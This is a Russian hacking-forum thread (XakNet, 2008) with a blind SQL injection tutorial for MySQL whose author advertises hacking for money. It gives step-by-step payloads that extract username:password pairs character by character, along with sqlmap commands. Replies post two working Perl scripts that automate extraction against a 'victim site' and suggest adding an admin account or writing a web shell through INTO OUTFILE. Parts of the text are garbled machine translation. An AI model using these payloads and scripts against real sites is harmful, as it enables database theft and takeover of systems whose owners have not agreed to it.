Перезагрузить страницу Blind Sql Injection
Имя
Пароль
Наши статьи Статьи, написанные участниками нашего форума



[5SOCKS.NET - 5000 + соксов онлайн ЕЖЕДНЕВНО!]   [Взломать почту. Качественно и недорого!]   [Реклама на форуме]

Ответ

Опции темы Опции просмотра
Старый 04.06.2008, 21:18   #1
Ломаю за деньги, лс

Сообщений: 503
Группа: Bugsearcher
Регистрация: 01.10.2007
Репутация: ("Гуру") 1696

Blind Sql Injection

Всем привет.Моя сегоднешняя статья будет посвящена "слепым" иньекциям-blind sql inj.Итак начнем...
"Слепые" иньекции используются когда видно,что веб-приложение уязвимо к sql иньекции,но результаты иньекции не видны.
При слепых иньекциях не пытайтесь использовать коментарии (например: -- или / *) это не нужно,только помешает....Есть автоматические утилиты для работы с такими иньекциями,но я лично предпочитаю использовать сочетание -руки-тулза- делать инъекцию вручную,а с помощью инструментов вывести реальное содержание из колонки. Тянение данные mysql, используя слепые атаки происходит медленно, даже при использовании инструментов , но когда нет другого варианта....
К примеру у нас есть урл
Код:
http://site.com/news.php?id=12
когда перейдем по ссылку,видим новостную статью с названием и содержанием статьи.Для тестирования на слепую иньекцию набираем

Код:
news.php?id=12 and 1=1
Мы должны видеть тот же юрл и содержание как и прежде,а теперь попробуем
Код:
news.php?id=12 and 1=2
И первым признаком об успешной иньекксации мы увидим пропавшее без вести содержание страницы,или заголовок,возможно нумераци страниц,или их количество.Вы можете нажимать назад и вперед в браузере искать различия.Если нашими действиями было,то что мы на строки с переменной, вместо news.php? Номер = 12 и 1 = 1 / news.php? Номер = 12 и 1 = 2, мы будем делать news.php? Номер = 12 'и 1 =' 1 / news.php? Номер = 12 'и 1 ='2 это синтаксическая ошибка меньше.
Для нашего примера можно сказать, что заголовок / содержание статьи исчезает, когда мы делали 1 = 2, но все еще там остается , когда мы делали 1 = 1. мы видим,что наш вклад отражается,следственно вернулись данные mysql. а когда 1 = 2 - тут возвращения не будет, а если запрос верного содержания, как правило, данные возвращаются с остальными sql запросами.


Получаем MYSQL версию


Первый рассмматриваемый мною вопрос, это добыча номера версии mysql, который помо жет нам узнать, какие команды,которые доступны в различных mysql.

Код:
news.php?id=12 and substring(@@version,1,1)=4

Только что я первый символ @ @ сравнил с 4, если ето действительно 4 версия,мы мы должны увидеть новости статьи, иначе страница будет вести содержание, как бы мы делали 1 = 2. Если в странице пропало содержание,следует изменить 4 на 5 и повторить попытку, на этот раз загружает страницу, как правило, с содержанием там так что мы знаем, имеют дело с Mysql5. если 4 и 5 не работает, попробуйте 3.


Провериям , имеем ли мы доступ к mysql.user


Далее я просто хочу проверить subselects, иногда слово "выберите" является в черном списке.
Код:
news.php?id=12 and (select 1)=1
если subselects работает, мы должны увидеть страницу загрузки в нормальном режиме. Далее идем смотреть,имеем ли мы права " повышенного" пользователя, который имеет доступ к mysql.user.
Код:
news.php?id=12 and (SELECT 1 from mysql.user limit 0,1)=1
Если бы мы имеем доступ к mysql.user, запрос вернет 1, если мы не имеем, оно будет выдавать ошибку и нечего не будет происходить,не вернется вобщем. Так что, если происходит загрузка страницы, как правило, здесь мы имеем доступ к mysql.user и это может быть полезным для того,что бы тянуть mysql хэши, позже попробуйте использовать load_file () и OUTFILE. Имейте также в виду, я использовал 'предел 0,1', subselects,тоесть может только возвращаться 1 строка данных, или же будут ошибки, так что не забудьте об этом.


Проверка действительных столбцов


В нашем примере мы сидм в mysql5, но тянуться данные из information_schema медленно, в слепой иньекции может быть лучше тупо попробовать угадать несколько таблиц. Или Вы можете использовать mysql4 и угадать, таблицы / столбца, чтобы получить еще больше..

Код:
news.php?id=12 and (SELECT 1 from users limit 0,1)=1

Я старался угадать таблицу пользователей, если есть таблица пользователей,то она будет заргружатся в нормальном режиме. Если не получилось угадать,п росто измените таблицу и попробуйте угадать имена таблиц.


Проверка на имена столбцов в таблице найдены


Если вы получили имена стобцов,то мы теперь можем попытаться угадать некоторые колонки в этих таблицах. таблица пользователей уже была установлено выше, поэтому я подробней на этом шаге останавливаться не буду,так как тут следует использовать тот же метод,который мы использовали выше-перебирание...


Код:
news.php?id=12 and (SELECT substring(concat(1,password),1,1) from users limit 0,1)=1
И так,сейчас надо было объединить'1 'с колонкой пароля, а затем, используя подстроку "нарезать" его пропустиить просто первый символ, который должен быть 1, если колонка пароля, не существует,то следует изменить колонку пароля,так что бы попытаться угадать, другие имена столбцов.


Данные из найденых table/columns


Ну на эту часть уходит много врменени,поэтому я предпочитаю использовать автоматические инструменты из этой оперы, но зная, как это делать вручную, вы не будете зависить от программ.И так я собираюсь тянуть имя пользователя, пароль колонку из таблицы пользователей. У меня уже найдено имя пользователя, пароль, адрес электронной почты, userid, будет оставаться в колонках таблицы, используя выше метод.
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>100
я здесь впервые вывел имя пользователя / пароль, в противном случае вы могли бы сделать лимит 0,1 вывести из первых пользователей, subselects ограничиваются 1 строку, если ваш subselect вернется более 1раза подряд, он будет ошибкой, и это не удастся. Так что это не плохой идеей придерживаться лимит на 0,1 конце если не уверены в том, сколько строк будут возвращены. Затем вне моей subselect подстрока (, 1,1) это trims subselect вниз только первый символ, 1 символов в длину. Затем ascii () преобразует,так что бы 1 символ в ascii имел числовые значения, когда я сравнивал > 100.
Так, в вышеприведенном примере, если ascii символов больше, чем 100, страница загружается нормально. В нашем случае страница не загружается с содержанием тем которое мы знаем, первый символ меньше, чем 100, мы будем
угадать еще раз.


Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>80
загрузки страницы, как правило, > 80, . Мы идем выше.

Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>90
переборщили,будем брать значение поменьше...

Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>85
маловато...
Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),1,1))>86
да,сейчас он сократился до значения большего , чем 85, но не больше 86. Итак, мы знаем, что наша номер 86! Мы можете проверить это, выполнив = 86, если вы хотите быть уверены используя ascii конвертер-- мы знаем, символ (86) является "V", так что первая буква нашего вернулся на строку "V", . Для получения следующего подпункта мы изменим подстроку...

Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>100
Я изменил подстроку на 1,1, 2,1. Теперь он возвращает 2 subselect, 1 символов в длину. мы делаем то же самое еще 1раз, как первый символ. На этот раз> 100 вернулись,так что теперь мыснова будем искать слудющую характеристику сабжект,как и в вышеупонямнутом пункте будем искать число.

Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>120
мм,120 многовато

Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>110
много

Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>105
105-еще не то

Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>103
уже много,и так 105-много,103-мало,наше число 104!

Код:
news.php?id=12 and ascii(substring((SELECT concat(username,0x3a,password) from users where userid=2),2,1))>104
если мы хотим сделать наше число 105,то представим, что символ (105) - "i". Поэтому у нас "Vi" до сих пор. Как мы видиим, мы сделали 11 запросов и получилм только 2 символа из базы данных,следовательно число довольно быстро находится.Посмотрите,сколько врмени займет тянущиеся пользователя / паролей хэш м. Держите увеличивающиеся подстроку, пока мы не получим до конца, где> 0.


Автоматические тянущие данных


Я использую sqlmap,для меня это самый оптимальный вариант . Есть другие инструменты для слепых иньекций ,тут как говорится,фломастеры разные...

Код:
./sqlmap.py -u "http://site.com/news.php?id=12" -p id -a "./txt/user-agents.txt" -v1 --string "Posted 3-3-2008" -e "(SELECT concat(username,0x3a,password) from users where userid=2)"
-u-это юрл вашей ньекции
-р- peramiter, будет тянуть случайных пользователей из текста itll иное использование умолчанию sqlmap агента пользователя, . -- комбинация которая появляется, когда команда TRUE, , делая 1 = 1 и 1 = 2 вставлсяет небольшой фрагмент текста, если мы хотим сделать subselect надо обязательно добавить () SELECT вокруг вашего запроса.
sqlmap также можететакже получить таблицы / столбцы, если вы имеете доступ к mysql5, но нужна полная таблица structer. Use-е сделет свои собственные команды что бы получить таблицы / столбцы, представляющие интерес.



Код:
./sqlmap.py -u "http://site.com/news.php?id=12" -p id -a "./txt/user-agents.txt" -v1 --string "Posted 3-3-2008" -e "(SELECT concat(table_schema,0x3a,table_name,0x3a,column_name) from information_schema.columns where column_name like 0x257061737325 limit 0,1)"

sqlmap не любит передачу кавычек, даже если ваша инъекция имеет отключенные magicquotes,Тпереь мы просто с помощью скьюлмап начнем перебирать таблицы и колонки

(с)baltazar

---------======>>XakNet<<=======---------

[Для просмотра данной ссылки нужно зарегистрироваться] - Хек, порно, анекдоты.
baltazar вне форума   Ответить с цитированием
Старый 05.06.2008, 00:38   #2
 
Аватар для Saint
-= Н_е__Д_у_р_а_к =-

Сообщений: 184
Группа: Admins
Регистрация: 20.08.2007
Репутация: (Мастер) 812

Ответ: Blind Sql Injection

Статья - норм, только этот абзац -
Цитата:
И первым признаком об успешной иньекксации мы увидим пропавшее без вести содержание страницы,или заголовок,возможно нумераци страниц,или их количество.Вы можете нажимать назад и вперед в браузере искать различия.Если нашими действиями было,то что мы на строки с переменной, вместо news.php? Номер = 12 и 1 = 1 / news.php? Номер = 12 и 1 = 2, мы будем делать news.php? Номер = 12 'и 1 =' 1 / news.php? Номер = 12 'и 1 ='2 это синтаксическая ошибка меньше.
лучше переписать, а то у новичков крыша съедет...

И здесь -
Цитата:
Я изменил подстроку на 1,1, 2,1.
- разделить
;

---------======>>XakNet<<=======---------

Всегда Ваш, !если найдёте!.

[Для просмотра данной ссылки нужно зарегистрироваться]
[Для просмотра данной ссылки нужно зарегистрироваться]

Последний раз редактировалось Saint, 05.06.2008 в 00:41
Saint вне форума   Ответить с цитированием
Старый 05.06.2008, 00:40   #3
Ломаю за деньги, лс

Сообщений: 503
Группа: Bugsearcher
Регистрация: 01.10.2007
Репутация: ("Гуру") 1696

Ответ: Blind Sql Injection

мм,писал сходу,как в голову приходило так и писал))завтра подправлю

---------======>>XakNet<<=======---------

[Для просмотра данной ссылки нужно зарегистрироваться] - Хек, порно, анекдоты.
baltazar вне форума   Ответить с цитированием
Старый 05.06.2008, 08:54   #4
Юзверь

Сообщений: 94
Группа: Members
Регистрация: 08.10.2007
Репутация: (Опытный) 228

Ответ: Blind Sql Injection

Статья гуд, ток тема "Blind Sql Injection" - лучше в следующий раз указывай в названии темы в какой конкретно бд.

Последний раз редактировалось Astro, 05.06.2008 в 10:08
Astro вне форума   Ответить с цитированием
Старый 05.06.2008, 16:00   #5
Ломаю за деньги, лс

Сообщений: 503
Группа: Bugsearcher
Регистрация: 01.10.2007
Репутация: ("Гуру") 1696

Ответ: Blind Sql Injection

ну это я работал с 5,а вообще слепые и на 4 канают,бенчмарки юзать надо

---------======>>XakNet<<=======---------

[Для просмотра данной ссылки нужно зарегистрироваться] - Хек, порно, анекдоты.
baltazar вне форума   Ответить с цитированием
Старый 12.07.2008, 02:00   #6
 
Аватар для Jack Daniels
Пользователь

Сообщений: 25
Группа: Members
Регистрация: 13.06.2008
Репутация: (Местный) 40

Ответ: Blind Sql Injection

Можешь еще добавить скрипт от rst на перле для автоматизации процесса посимвольного перебора, как говорил имлекс
Код:
*!/usr/bin/perl

* r57sql_ocb.pl
* sql-databases one char bruteforce tool

use LWP::UserAgent;

$path   = $ARGV[0]; 
* запрос с уязвимому скрипту с параметром

$query  = $ARGV[1]; 
* запрос к БД (подзапрос) результат которого будет вставлен в функцию substring()

$s_num  = $ARGV[2]; 
* позиция символа который перебираем

$string = $ARGV[3]; 
* строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД 

if (@ARGV < 4) { &usage; }

* диапазон символов для перебора
$min = $ARGV[4] || 97;  * a
$max = $ARGV[5] || 122; * z 

&found($min,$max);

* подпрограмма уменьшения диапазона символов
sub found($$)
 {
 my $fmin = $_[0];
 my $fmax = $_[1];
 * если диапазон менее 5 символов то переходим к перебору
 if (($fmax-$fmin)<5) { &crack($fmin,$fmax); } 
 * иначе находим середину диапазона
 print "-> Try $fmin .. $fmax -> "; 
 $r = int($fmax - ($fmax-$fmin)/2);
 $check = ">$r";
 * проверяем ответ скрипта и в зависимости от возвращенного результата
 * рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза)
 if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); }
 else { print "Char < $r\r\n"; &found($fmin,$r+1); }
 }

* подпрограмма поиска перебором 
sub crack($$)
 {
 my $cmin = $_[0];
 my $cmax = $_[1];
 $i = $cmin;
 * проходим циклом по диапазону
 while ($i<$cmax)
  {
  $crcheck = "=$i";
  print "-> Try $i ->";
  * проверяем ответ скрипта, если ответ положительный то выводим символ и выходим 
  if ( &check($crcheck) ) 
      { print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); }
  else { print " NO =(\r\n"; }
  $i++;
  }
 print "NOT FOUND"; exit();
 }

* подпрограмма проверки результата запроса 
sub check($)
 {
 $ccheck = $_[0];
 * формируем запрос к скрипту
 $http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))".$ccheck;
 * отправляем запрос
 $mcb_reguest = LWP::UserAgent->new() or die;
 $res = $mcb_reguest->post($http_query); 
 * получаем ответ сервера
 @results = $res->content; 
 foreach $result(@results)
  {
  * ищем в ответе скрипта строку совпадающую с нашим условием
  if ($result =~ /$string/) { return 1; }
  }
 return 0;
 }
 
sub usage
 {
 print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position] 
 	[return_string] [brute_min_char] [brute_max_char]\r\n";

print "e.g. : $0 http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57";
 exit(); 
 }
Jack Daniels вне форума   Ответить с цитированием
Старый 12.07.2008, 12:36   #7
Ломаю за деньги, лс

Сообщений: 503
Группа: Bugsearcher
Регистрация: 01.10.2007
Репутация: ("Гуру") 1696

Ответ: Blind Sql Injection

Код:
 
*!/usr/bin/perl 
use LWP::Simple; 
use LWP::UserAgent; 
my $userAgent = LWP::UserAgent->new; 
my $titleok ; 
my $done   = 1; 
my $server = $ARGV[0]; 
my $typequery = $ARGV[1]; 
my $typerror= $ARGV[2]; 
 
usage(); 
if (!$server) { die "Read Usage!\n"; } 
if (!$typequery ) { die "Read Usage!\n"; } 
 
print $typequery; 
 
if ($typequery==1) {$querysql = "select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES+w  here+table_schema=database()";} 
else {$querysql = "select+TABLE_NAME+from+INFORMATION_SCHEMA.TABLES";} 
 
print"\n[x]Connecting: \n\t$server ..."; 
 
my $Attackok= $userAgent->get($server."+and+substring(version(),1,1)=4"); 
if($Attackok->is_success){ 
	my $contentok = $Attackok->content; print " Connected and Saved \n"; 
       $titleok = get_content($contentok);} 
else {   print " Connection Failed\nDone"; exit; } 
 
print "[x]Length And Data Information Tables... :\n "; 
my $Countertable = 65; 
my $title; 
 
while($done) 
{ 
 my $lengthCounter = 1; 
 my $val=0; 
 while($val!=1 && $lengthCounter<50) 
 { 
    my $content = get($server."+and+LENGTH((".$querysql."+limit+".$Countertable.",1))=".$lengthCounter); 
    $title = get_content($content); 
    *print("\ntable leng:".$title."-".$titleok."-".$lengthCounter."-".$val); 
    if($title != $titleok) 
      {  $val=1; 
 	  print "\n\t[$Countertable] ($lengthCounter)"; 
         print $tablename = blind_table_name($Countertable,$lengthCounter); 
	  blind_column_name($tablename); 
      } 
    else { $lengthCounter++; } 
 } 
 
 if ($lengthCounter>=50) { $done=0; } 
 $Countertable++; 
} 
 
print "\n\n"; 
print "[x]End... \n "; 
 
**************************************************  **************************************************  ** 
sub blind_table_name { 
	my $res    = undef; 
	my $i      = 0; 
	my $val2    = 1; 
	my @cset   =  (48..57,95,97..122); 
	my $titles = 0; 
 
     	while($val2<=$_[1] && $i <= $*cset) 
      { 
              my $content1 = get($server."+and+ascii(substring((".$querysql."+limit+".$_[0].",1),".$val2.",1))=".$cset[$i]); 
		$titles = get_content($content1); 
	     if($titles != $titleok ) { 
			 $res .= chr($cset[$i]); $val2++; $i = 0;} 
 	     else { $i++; } 
	} 
	return $res; 
} 
 
**************************************************  **************************************************  ** 
sub blind_column_name { 
 
* come soon 
 
} 
**************************************************  **************************************************  ** 
sub get_content(){ 
 
if ($typerror == 1) { 
 if ($_[0] =~ m/<title>(.*)<\/title>/) 
   {  return length($1);} 
 else {return 0; } 
} 
else { return length($_[0]); } 
} 
**************************************************  **************************************************  ** 
sub ascii_to_hex ($) 
{ 
    	(my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg; 
    	return $str; 
} 
**************************************************  **************************************************  ** 
sub usage() 
{ 
    print q 
    { 
    **************************************************  ***************** 
        Blind Scan      by baltazar 
       Usage: blinqsql.pl [Server] [Table] [Type Error] 
	  [Serveur] : Url Victime Site with True id / 
	  [Table]   : table site 1 , all table 2 
	  [Type Error] : By title 1 , By allsize 2 
    **************************************************  ***************** 
    }; 
 
} 
**************************************************  **************************************************  **

---------======>>XakNet<<=======---------

[Для просмотра данной ссылки нужно зарегистрироваться] - Хек, порно, анекдоты.
baltazar вне форума   Ответить с цитированием
Старый 16.07.2008, 23:16   #8
Новичок

Сообщений: 1
Группа: Members
Регистрация: 10.07.2008
Репутация: (Новичок) 3

Ответ: Blind Sql Injection

А операторы INSERT, UPDATE - если знать структуру бд очень легким образом делаются записи в ней. И если говорить о таблице с юзерами, то можно просто добавить админа.
Оператор INTO, OUTFILE - тоже работает при blind sql inj - очень жаль что многие люди банально забывают о нем, однако очень мощная функция хоть и работает не во всех случаях, а при возможности записи можно без лишних хлопот залить шелл.
ImpLex вне форума   Ответить с цитированием
Старый 17.07.2008, 08:07   #9
Юзверь

Сообщений: 94
Группа: Members
Регистрация: 08.10.2007
Репутация: (Опытный) 228

Ответ: Blind Sql Injection

Цитата:
Сообщение от ImpLex Посмотреть сообщение
А операторы INSERT, UPDATE - если знать структуру бд очень легким образом делаются записи в ней. И если говорить о таблице с юзерами, то можно просто добавить админа.
Оператор INTO, OUTFILE - тоже работает при blind sql inj - очень жаль что многие люди банально забывают о нем, однако очень мощная функция хоть и работает не во всех случаях, а при возможности записи можно без лишних хлопот залить шелл.
Раз,Как то не всегда хватает прав на INTO, OUTFILE, и не везде раскрытие путей.
Два...статья по теме слепой.
Astro вне форума   Ответить с цитированием
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
MySQL injection полный FAQ Astro Для новичков 50 12.02.2010 01:00
ODFaq 2.1.0 Blind SQL Injection Exploit b!atnoy Уязвимости WEB-приложений / программного обеспечения 0 30.04.2008 19:01
Picture Rating 1.0 Blind SQL Injection Exploit b!atnoy Уязвимости WEB-приложений / программного обеспечения 0 09.04.2008 09:18
SQL injection kuzya Web программирование 2 02.08.2007 14:34



Rus by zCarot | Copyright © 2007-2010 XakNet Forum | Powered by vBulletin 3.6.x
Rambler's Top100


Мы не несём никакой ответственности за предоставленные материалы. При копировании информации обратная ссылка обязательна.